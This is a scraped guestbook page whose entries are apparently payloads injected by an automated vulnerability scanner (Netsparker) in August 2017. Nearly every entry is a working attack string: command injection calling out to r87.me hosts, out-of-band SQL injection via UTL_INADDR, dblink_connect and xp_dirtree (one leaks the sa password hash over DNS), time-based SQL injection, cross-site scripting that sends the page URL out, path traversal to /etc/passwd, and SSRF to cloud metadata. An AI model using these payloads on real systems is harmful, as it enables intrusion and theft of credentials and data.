"&nslookup "o010_rdnxu0mp9tjmo-33ousfksyvnlwquiyduic""f8i.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

"&nslookup "o010_rdnxukwavmnr6uxmaxw6iqm947lohljnseu""90e.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:50 AM +

+

+ (select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(98)||chr(103)||chr(98)||chr(118)||chr(122)||chr(122)||chr(49)||chr(111)||chr(99)||chr(97)||chr(97)||chr(107)||chr(102)||chr(95)||chr(100)||chr(120)||chr(99)||chr(102)||chr(102)||chr(107)||chr(122)||chr(102)||chr(116)||chr(99)||chr(122)||chr(119)||chr(100)||chr(110)||chr(117)||chr(118)||chr(97)||chr(97)||chr(121)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL) +

+
+

'&nslookup "o010_rdnxufxhyjejjfwkr4vrg6mnixwezhu-ms5""fqe.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

1";expr 268409241 - 2;"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

'&nslookup "o010_rdnxurzlw5uznq-jb2th_efsvc6lksde7ye""btw.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:49 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu_qtsdowlkh_flfjjfm6coylz1xh0ty'||'430.r87.me') from DUAL))||' +

+
+

Smith

+

+ 8/23/2017 8:08:49 AM +

+

+ -1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1 +

+
+

&nslookup "o010_rdnxurwtbxapfqfrrebybzda41jwx1vpgsj""oac.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

javascript:netsparker(0x002A73)

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

SET /A 0xFFF9999-2

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

&nslookup "o010_rdnxuyfq2weofqljkjqkwsx_6xtr_2hvea3""_iq.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:49 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuqdcigkl6azza8s4r2gp2-25mjbx4ka'||'n2w.r87.me') from DUAL)))) +

+
+

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

nslookup "o010_rdnxuyjn5wzhc0m_dce4_w_6jdto3tyaun5""g2w.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

nslookup "o010_rdnxujonf6gnfiqeyujfhlrkspnro4qzd26""lsu.r87.me"

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&'\"`0&nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

'& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&'\"`0&nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

'& nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&'\"`0&nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

'& nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&'\"`0&nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

">

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

& nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&'\"`0&nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:47 AM +

+

+ -1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:47 AM +

+

+ (select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxueuzk4q74y3ctb3qs_tui_2g-kxjl1h'||'v8a.r87.me') from DUAL) +

+
+

& nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&'\"`0&nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

'>

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:46 AM +

+

+ ';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxu2tztvtnuffxl9jn6ffqj05y9bmsrjz"+"lqw.r87.me/r/?"+location.href;document.head.appendChild(l);// +

+
+

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

+

+ 8/23/2017 8:08:46 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:46 AM +

+

+ ";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxuc1x0wt8ggryx4fhtkabsxzynfujlal"+"9om.r87.me/r/?"+location.href;document.head.appendChild(l);// +

+
+

//r87.com/n/j/?0x002A6C

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

((SELECT 1 FROM (SELECT SLEEP(25))A))

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&'\"`0&nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&`'

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ '||cast((SELECT dblink_connect('host=o010_rdnxuc1oin0c4hpckcp8foocm07anmkehpx'||'sf8.r87.me user=a password=a connect_timeout=2')) as numeric)||' +

+
+

//r87.com/n/j/?0x002A6B

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:44 AM +

+

+ (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&'\"`0&nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&`'

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(54)||chr(102)||chr(101)||chr(98)||chr(104)||chr(108)||chr(122)||chr(114)||chr(111)||chr(106)||chr(114)||chr(110)||chr(119)||chr(122)||chr(117)||chr(106)||chr(106)||chr(49)||chr(53)||chr(98)||chr(107)||chr(103)||chr(54)||chr(114)||chr(98)||chr(108)||chr(121)||chr(121)||chr(121)||chr(115)||chr(110)||chr(105)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric) +

+
+

"+gethostbyname(lc 'o010_rdnxuwckoxuzj-q-mf353snaks__slwuazw'.'qhy.r87.me')+"

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

1));SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

//r87.com/n/n.css?0x002A6A

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

"+gethostbyname(lc 'o010_rdnxuyrs0rdhcpaevkc0jatjxz0kayfppxs'.'z-k.r87.me')+"

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

1'));SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:43 AM +

+

+ cast((SELECT dblink_connect('host=o010_rdnxuye7pxomr6cfzohxftgde-pawtzwufz'||'vj8.r87.me user=a password=a connect_timeout=2')) as numeric) +

+
+

'+gethostbyname(lc 'o010_rdnxuh0occyxcc2hyinn6dowfsyxqtydmgy'.'kwo.r87.me')+'

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

//r87.com/n/n.css?0x002A69

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

'+gethostbyname(lc 'o010_rdnxuwxepioueimpe3ahlrrde3dkelipswt'.'-r8.r87.me')+'

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

eval('gethostbyname(lc 'o010_rdnxuk4ssss_tqq_-f1cloohmjqc1a4ukdc'.'ea8.r87.me')')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

1 ns=netsparker(0x002A5F)

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

eval('gethostbyname(lc 'o010_rdnxuetffwa-rewtmbncgkgbslwp1-ybf-g'.'pqs.r87.me')')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

gethostbyname(lc 'o010_rdnxu-zjcoujzmjuke9htyaorejz9qjurq-'.'lqo.r87.me')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

'" ns=netsparker(0x002A5D)

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:42 AM +

+

+ Guestbook.aspxďż˝ +

+
+

Smith

+

+ 8/23/2017 8:08:41 AM +

+

+ '+NSFTW+' +

+
+

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVDKTwvc2NyaXB0Pg==

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ dblink_connect('host=o010_rdnxurfmiai8zcwr84o0p6evaz7d39hh0gl'||'moy.r87.me user=a password=a connect_timeout=2') +

+
+

gethostbyname(lc 'o010_rdnxuoh9ue36x4nycsvapqjod7cki-45apl'.'fry.r87.me')

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ Guestbook.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ '"--> +

+
+

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVCKTwvc2NyaXB0Pg==

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

"+createobject("WScript.Shell").exec("nslookup o010_rdnxux1ttqm-fzkmhcw66lkunourokwjnk7" & "32o.r87.me").StdOut.ReadAll+"

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

1');SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A5A%29%3C%2FscRipt%3E

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ data:;base64,TlM3NzU0NTYxNDQ2NTc1 +

+
+

"+createobject("WScript.Shell").exec("nslookup o010_rdnxuwvkktv-6yshqe6vw9tqiagla_3jqio" & "qju.r87.me").StdOut.ReadAll+"

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A59%29%3C%2FscRipt%3E

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

<%createobject("WScript.Shell").exec("nslookup o010_rdnxuf3ngej5qagncr5bvvxvljk_kpokj2y" & "wqa.r87.me").StdOut.ReadAll%>

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

'"-->

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

<%createobject("WScript.Shell").exec("nslookup o010_rdnxuyjy44sbbwebomdllwwf7fw4vkyxjs-" & "y9m.r87.me").StdOut.ReadAll%>

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

+ //r87.com/?0x003F84 +

+
+

1);SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

N3TSP4RKE2

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

+ %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd +

+
+

nxtspxrkex

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

+ [ns](javascript:netsparker(0x003F5C);) +

+
+

Smith

+

+ 8/23/2017 8:08:38 AM +

+

+ NSFTW +

+
+

n3tsp4rke2

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ /etc/passwd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ '"@--> +

+
+

SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuto2k0fjezhd6ruyabepqc45o-vpngt" & "ano.r87.me").StdOut.ReadAll+

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuwexbwswn8pfbf1bvusjtypxuvm3jjl" & "8u8.r87.me").StdOut.ReadAll+

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

1;SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuk1vfgf_nxm1mrxeiqxvvlf3himsg8s" & "jba.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxu_9gkrgwih7dhflofu_eqqvydzpjavl" & "cpq.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

1';SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ /../../../../../../../../../../../etc/passwd +

+
+

1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ SELECT dblink_connect('host=o010_rdnxuwc_kfykszf75db_ax6zbbyyoxdg8k_'||'qzk.r87.me user=a password=a connect_timeout=2') +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ ....//....//....//....//....//....//....//....//....//....//....//etc/passwd +

+
+

1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:36 AM +

+

+ (select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL) +

+
+

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:36 AM +

+

+ /../../../../../../../../../../../etc/passwdďż˝.aspx +

+
+

((select sleep(25)))a-- 1

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ -1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxu8b6_xkwdsrwt4gwl_lkdsxuuc1f9k4'+'czi.r87.me')exec sp_executesql @r-- +

+
+

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1

+

+ 8/23/2017 8:08:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ http://127.0.0.1:3306 +

+
+

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/

+

+ 8/23/2017 8:08:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ 1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxup6v2xrho-agsnpydygm_pkesjulnnp'+'wma.r87.me')exec sp_executesql @r-- +

+
+

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:34 AM +

+

+ http://127.100.11.2:22 +

+
+

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:34 AM +

+

+ DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxupbv1t36dv7tzzeox9rl8zugpbd_mhj'+'wko.r87.me')exec sp_executesql @r +

+
+

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:33 AM +

+

+ syscolumns WHERE 2>3;exec('xp_dirtree ''\\o010_rdnxugi6fcmdl7tqijcg_dhzstdxi0av1ls'+'i54.r87.me'+'\c$\a''')-- +

+
+

Smith

+

+ 8/23/2017 8:08:33 AM +

+

+ '||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||' +

+
+

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:33 AM +

+

+ 1'))exec('xp_dirtree ''\\o010_rdnxutwemwyt9d1nwv6740sq_xpfpkgi9qq'+'jui.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:32 AM +

+

+ 1))exec('xp_dirtree ''\\o010_rdnxuvyahvsvdwvwnhpev-1y_jzea_erche'+'iua.r87.me'+'\c$\a''')-- +

+
+

1)) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:32 AM +

+

+ 1')exec('xp_dirtree ''\\o010_rdnxunqbmffb-v8f3qumhlvjx32pp5yrf1j'+'s0u.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:31 AM +

+

+ 1) exec('xp_dirtree ''\\o010_rdnxuiryit2trwhl00odqhbsyhzffkd3jbb'+'sbi.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:31 AM +

+

+ -1';exec('xp_dirtree ''\\o010_rdnxugw6rfhxz5aklh2une_slh02ob6by0q'+'kok.r87.me'+'\c$\a''')-- +

+
+

')) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:30 AM +

+

+ 1;exec('xp_dirtree ''\\o010_rdnxu9adc8rk7jnup44n1jz6tpljawvlts2'+'uee.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:30 AM +

+

+ declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxukhfwqkeuv058gewixgfypu745a1f_z'+'cxg.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''') +

+
+

Smith

+

+ 8/23/2017 8:08:29 AM +

+

+ cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ exec('xp_dirtree ''\\o010_rdnxu533uyql6ntyanq9todluufh1ih9cb9'+'_n4.r87.me'+'\c$\a''') +

+
+

') WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ http://169.254.169.254/latest/meta-data/public-hostname +

+
+

createobject("WScript.Shell").exec("nslookup o010_rdnxuywsew0o5sjgi6iwpqxtdyqacxk0uvs" & "j3o.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:28 AM +

+

+ (SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97))) +

+
+

createobject("WScript.Shell").exec("nslookup o010_rdnxucn-4s_krnq45mumreo6wjmjklrp5no" & "o20.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ /../../../../../../../../../../../etc/passwdďż˝ +

+
+

'{${gethostbyname(trim('o010_rdnxudsglo9yfepaqhhpgycqeqivxc0wuki'.'2n8.r87.me'))}}'

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ http://aws.r87.me/latest/meta-data/public-hostname +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ file:///etc/passwd +

+
+

Smith

+

+ 8/23/2017 8:08:28 AM +

+

+ -1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+" +

+
+

'{${gethostbyname(trim('o010_rdnxublor8upun3x2iw3evqvbn_qgddb61-'.'_ku.r87.me'))}}'

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

1) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

+ /../../../../../../../../../../../etc/passwd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:27 AM +

+

+ -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ /../../../../../../../../../../proc/versionďż˝.aspx +

+
+

WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:26 AM +

+

+ -1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a) +

+
+

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ 127.0.0.1/elmah +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ /../../../../../../../../../../proc/version +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ ::1/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:25 AM +

+

+ 'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'=' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ '+netsparker(0x003E56)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ /../../../../../../../../../../var/log/apache/error.log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ netsparker(0x003E54); +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ /../../../../../../../../../../var/log/apache2/error.log +

+
+

1 WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:24 AM +

+

+ convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ netsparker(0x003E52) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

